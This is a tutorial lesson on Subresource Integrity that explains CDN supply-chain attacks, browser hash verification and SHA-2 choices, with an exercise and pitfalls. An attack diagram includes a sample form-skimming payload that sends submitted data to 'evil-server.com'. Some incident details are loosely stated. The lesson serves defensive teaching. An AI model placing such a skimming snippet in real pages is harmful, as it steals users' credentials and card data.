LEARNING OBJECTIVES ⌵
- Understand the mechanics of frontend supply-chain attacks and CDN poisoning vectors.
- Explain the W3C Subresource Integrity (SRI) specification and how browsers cryptographically verify external files.
- Trace the browser execution pipeline from network fetch to byte-level hash comparison.
- Differentiate between origin-hosted trust and third-party delivery risks.
📖 The Mental Model & Story (Intuitive Foundation)
Imagine ordering an expensive mechanical watch from a boutique online store. The store doesn't deliver the package itself; instead, it contracts a third-party courier service. Before the parcel leaves the manufacturer, the boutique places a serialized, tamper-evident security seal on the box and emails you the exact serial number (SEAL-9843-X71).
When the courier arrives at your doorstep, you inspect the box:
- If the seal is intact and matches
SEAL-9843-X71, you accept the parcel and open it. - If the seal has been broken, peeled off, or replaced with a different serial number, you immediately reject the delivery and refuse to bring it into your house.
+-----------------------------------------------------------------------------------------+
| THE COURIER METAPHOR |
+-----------------------------------------------------------------------------------------+
| |
| 1. Your Web App (Boutique) 2. Third-Party CDN (Courier) 3. User's Browser |
| Issues HTML with expected Transports the script file Receives bytes, |
| hash seal: across the internet computes digest, |
| integrity="sha384-abc..." and verifies |
| |
| +--------------------+ +----------------------+ +--------------+ |
| | index.html | | cdn.example.com/ | | Browser | |
| | <script src="..." | --------> | analytics.js | -------> | Compares: | |
| | integrity="..." > | | [Modified by hacker] | | Hash != Seal | |
| +--------------------+ +----------------------+ | 🛑 BLOCKED! | |
| +--------------+ |
+-----------------------------------------------------------------------------------------+
In the early days of the web, developers loaded jQuery, Bootstrap, or font libraries from public CDNs assuming the files would always remain identical. In 2018, attackers compromised the CDN hosting scripts for British Airways and Ticketmaster (the infamous Magecart attacks). By altering just 22 lines of JavaScript inside a hosted third-party script, attackers silently intercepted and exfiltrated payment card numbers from over 380,000 customers.
Subresource Integrity (SRI) is the browser's cryptographic seal. It allows your HTML to state: "Fetch this file from any external server, but do not execute a single byte unless its cryptographic hash matches this exact fingerprint."
Technical Deep Dive & Specifications
The Threat Model: CDN Compromises vs. Origin Trust
When an HTML document embeds a remote script via <script src="https://cdn.example.com/lib.js"></script>, the script runs in the same origin context as the host application.
This means the external script inherits full privileges:
- Reading and writing
document.cookie(unless markedHttpOnly). - Accessing
localStorage,sessionStorage, andIndexedDB. - Intercepting keystrokes and form submissions (credit cards, passwords).
- Making authenticated background
fetch()requests with user credentials.
+------------------------------------------------------------------------------------+
| ATTACK VECTOR: UNVERIFIED CDN SCRIPT |
+------------------------------------------------------------------------------------+
| |
| 1. Webmaster embeds: <script src="https://cdn.thirdparty.com/modal.js"> |
| |
| 2. CDN infrastructure is compromised (BGP hijack, stolen AWS keys, malicious PR) |
| |
| 3. Hacker appends payload: |
| document.forms[0].addEventListener('submit', () => { |
| fetch('https://evil-server.com/steal', { method: 'POST', body: ... }); |
| }); |
| |
| 4. Browser downloads modal.js and executes it immediately in the origin context. |
| |
+------------------------------------------------------------------------------------+
The W3C SRI Specification Lifecycle
The W3C Subresource Integrity specification defines the algorithm used by the user agent when fetching resources linked with an integrity attribute.
[ Browser encounters <script> or <link> with integrity ]
|
v
[ Initiate network fetch with CORS ]
|
v
[ Raw bytes arrive at browser ]
|
v
[ Browser computes cryptographic digest ]
(e.g., SHA-384 of raw bytes)
|
v
[ Base64 encode calculated binary digest ]
|
v
/------------------------------------\
< Does computed hash == integrity? >
\------------------------------------/
/ \
YES / \ NO
v v
[ Execute Script / [ Throw NetworkError / Block ]
Apply Stylesheet ] [ Log Console Security Error ]
[ Fire element.onerror ]
Cryptographic Hash Function Standards
SRI supports cryptographic hash functions from the SHA-2 family:
- SHA-256 (
sha256-): Generates a 256-bit digest (32 bytes), base64 encoded to 44 characters (including padding). - SHA-384 (
sha384-): Generates a 384-bit digest (48 bytes), base64 encoded to 64 characters. (W3C Recommended Standard) - SHA-512 (
sha512-): Generates a 512-bit digest (64 bytes), base64 encoded to 88 characters.
| Algorithm | Prefix | Output Digest Size | Collision Resistance | W3C Recommendation Status |
|---|---|---|---|---|
| SHA-256 | sha256- |
32 bytes / 256 bits | High | Supported |
| SHA-384 | sha384- |
48 bytes / 384 bits | Very High | Strongly Recommended |
| SHA-512 | sha512- |
64 bytes / 512 bits | Maximum | Supported |
| MD5 / SHA-1 | N/A | Insecure | Vulnerable to collisions | ❌ Prohibited / Unsupported |
💻 Interactive Code Playground
Starter Code
Line-by-Line Code Breakdown
- Lines 8–14 (
<link rel="stylesheet"...): Links an external stylesheet from Cloudflare's CDN. Theintegrityattribute specifies the exact SHA-512 hash ofnormalize.min.css.crossorigin="anonymous"instructs the browser to request CORS headers so the response bytes can be read by the hashing engine. - Lines 35–39 (
<script src="..." integrity="sha512-..."): Loads the Day.js date library from a CDN. The browser halts execution until the raw bytes are downloaded, SHA-512 hashed, and compared againstsha512-FwNWaxy.... - Lines 42–51 (
<script>...): Tests ifdayjsexists in the global window scope. If the hash had failed,dayjswould beundefined, and the script would throw an error or handle the fallback gracefully.
Expected Browser Render Output
(In DevTools Network tab, dayjs.min.js returns HTTP 200 and executes. If an attacker had modified a single character on the CDN, the DevTools Console would display: Failed to find a valid digest in the 'integrity' attribute for resource '...' with computed SHA-512 integrity '...' The resource has been blocked.)
Subresource Integrity (SRI) in Action
This page loads external libraries with cryptographic verification.
+-------------------------------------------------------------------------+
| ✅ Legitimate Script Loaded |
| Day.js loaded successfully! Current timestamp: 2026-08-21 02:30:00 |
+-------------------------------------------------------------------------+🏋️ Hands-On Exercise
🎯 The Challenge: Secure a Financial Dashboard with SRI
Instructions:
- You are securing a fintech banking portal. Add the
integrityattribute to the external Chart.js library loaded from CDN. - The expected SHA-384 hash of the file
https://cdn.example.com/chart.min.jsis:sha384-H4Lz5vI3Yn5FzM8P1Q2R3S4T5U6V7W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N - Add the required
crossorigin="anonymous"attribute to ensure the browser performs CORS verification before computing the hash. - Add an inline fallback listener using
onerroron the script tag to alert the security team if the CDN hash check fails.
🏁 Starter Code Sandbox
⚠️ Common Pitfalls
- Omitting
crossorigin="anonymous"on Cross-Origin CDN Resources: If you specifyintegrityon a cross-origin script withoutcrossorigin, the browser receives an "opaque response" and blocks the script entirely for security reasons. - Using Floating/Unpinned CDN URLs (
latest.js): Never use SRI with mutable URLs likehttps://cdn.example.com/lib/latest.min.js. The moment the library author releases a minor update, the CDN file changes, the hash no longer matches, and your production site breaks. - Using Deprecated Algorithms (MD5 or SHA-1): Browsers ignore MD5 and SHA-1 hashes in the
integrityattribute because they are vulnerable to collision attacks. Always use SHA-256, SHA-384, or SHA-512.
💡 Pro Tips
- SHA-384 is the Performance & Security Sweet Spot: W3C recommends SHA-384 over SHA-256 and SHA-512. On 64-bit architectures, SHA-384 and SHA-512 execute faster than SHA-256 due to 64-bit word operations, and SHA-384 provides superior resistance to length-extension attacks.
- Pair SRI with Content Security Policy (CSP): Use the CSP
require-sri-fordirective (or modern CSP Level 3script-srcpolicies) to mandate that no third-party script can ever execute unless an integrity hash is explicitly declared in HTML.
📌 Key Takeaways
- Subresource Integrity (SRI) enables browsers to verify that resources fetched from CDNs have not been altered maliciously or unexpectedly.
- Third-party scripts execute directly within your application's origin, making unverified CDN dependencies high-risk supply-chain vectors.
- SRI uses cryptographic hashes from the SHA-2 family (
sha256-,sha384-,sha512-) encoded in Base64. - If a resource fails hash verification, the browser blocks execution immediately, logs a console error, and triggers the element's
onerrorhandler. - SRI must always be paired with
crossorigin="anonymous"for cross-origin resources. - --